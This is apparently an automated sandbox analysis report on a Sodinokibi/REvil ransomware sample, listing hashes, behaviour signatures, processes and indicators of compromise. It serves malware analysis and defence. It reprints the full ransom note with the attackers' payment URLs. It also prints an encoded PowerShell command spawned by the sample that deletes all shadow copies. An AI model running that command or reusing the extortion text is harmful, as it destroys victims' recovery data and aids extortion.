Overview

overview

10

Static

static

10

a277bdefa3...bb.exe

windows7_x64

10

a277bdefa3...bb.exe

windows10_x64

10

Analysis

  • max time kernel
    161s
  • max time network
    185s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    24/01/2022, 01:26

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    a277bdefa362724b8e70cb1560836a255064cb360db1b178391773a0d3543cbb.exe
  • Size 164KB
  • Sample220124-btk2kaheg3
  • SHA256 a277bdefa362724b8e70cb1560836a255064cb360db1b178391773a0d3543cbb
  • MD5 SHA1 SHA512
Score
10/10
sodinokibiransomware

Malware Config

Extracted

Path

  • C:\83244k9s-readme.txt

  • sodinokibi

Ransom Note
  • ---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension 83244k9s. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/A07EF0413F32E7E9 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/A07EF0413F32E7E9 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: Xgf97e1A/FFl94tr/WQWvfrJ1Xn5U2H+7zy8hiY3Qp6YWjy9ko6Rq//NLCIloeH0 uGrXteI6Bkx08rtnKo6LCMwm6u7/4JniWMdPJsPhL7MJ6ZOyGQVtG1JydTC3pn7h tyFjoeQH31Z9FgB3pdasqHrZSE279RJxmqstV0vfDO2iG40XiepCyleBRTkmbXHp APiPyAENP9CeHcZoX495OsHch41JffzMgj00O1a6wndIvZQUMp6eMPsqzX0Td7ks ZugJbHgxb6sWhpHVgEJqAJq5+yW1HcfqDITe1u17mh4xuAPuaohO3ZQAuwNyPJDH rCh0h3hZrku+Hkq9hAW02IvvpU3q5rWmf9fZaO+MNy02D/xbdY+Dhmj+qFiXWIM6 9HnjNM2A+9aYyGDDqsJZC1Q0N8STycsFONaQ/hwk5JCWlMqkpzGSG+d4RnrPG7+j KNhn0zawRlLO6S3IMW1WH9SaD4CovK6KCSJgThxGUG6azOSlCu/hfOtwJO8atY7e 5IEy8/5u3kUSRYJI8D/8+rwBjoOPnmvRFeVUoHoH2gqXlxMjpXYlVV+x1KcuL9xh dWKi3Sl8r9h21IK3M89o9Z0KFyYD0vs6+ycbBHmohr+gyd96QcqUvvYiI4/4Gcdl 3dR8SIS9nGJY95VIWgHkTVN0ZeE5BXoBQGLeN9iPUa43yB30FwcPgHyJKcNXWoC1 8jinBIPfjzrElqEb+f6PpKGqp8r3miAy256/g7Xc9l5B7e7NbORmKO4PUpr8qvQe gt3MidRdBYEynXYzf/dhkIsnPnkmMni4h/MmePyvX8xC6TyIEbiDHjERg2Uu55OV MKKIh5gOHIBYxwVe9ylhjLSbjXNGHqyct1oEtJ9G6i2r81ANVF7R8lD6CysPm5Q6 C3S4ZPuziq1vW8+S2+AEHcJvlVN2qaHkRt+lgQ6S3hOG/3Vg3+cUTpTcam8a6qzy x/Ok1Xazl115y9fkLrtbJM2zah63ghSmWw4j3YkSbo9xfTcfCAn/fw2JeUyJc4+X Sie5pjSG0DTLALuSlhETebl51fOp67yIVbXMqTK4XqOYGKdSIWvogmN7MmV7YqpB aUEyW02/JDD0/eScltgc0C62L1Elj0mXoY8IYhquuL18RqvaoFV+5TLpKJj+HT3F Extension name: 83244k9s ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

  • http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/A07EF0413F32E7E9

  • http://decryptor.top/A07EF0413F32E7E9

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

    ransomwaresodinokibi
  • Modifies extensions of user files 8 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 31 IoCs
  • Modifies system certificate store 2 TTPs 9 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a277bdefa362724b8e70cb1560836a255064cb360db1b178391773a0d3543cbb.exe
    "C:\Users\Admin\AppData\Local\Temp\a277bdefa362724b8e70cb1560836a255064cb360db1b178391773a0d3543cbb.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1352
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:976
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:384
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1408

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/976-123-0x000001FA1A2F0000-0x000001FA1A312000-memory.dmp
          Download

          memory/976-128-0x000001FA7EBA0000-0x000001FA7EBA2000-memory.dmp
          Download

          memory/976-129-0x000001FA7EBA3000-0x000001FA7EBA5000-memory.dmp
          Download

          memory/976-130-0x000001FA1A3A0000-0x000001FA1A416000-memory.dmp
          Download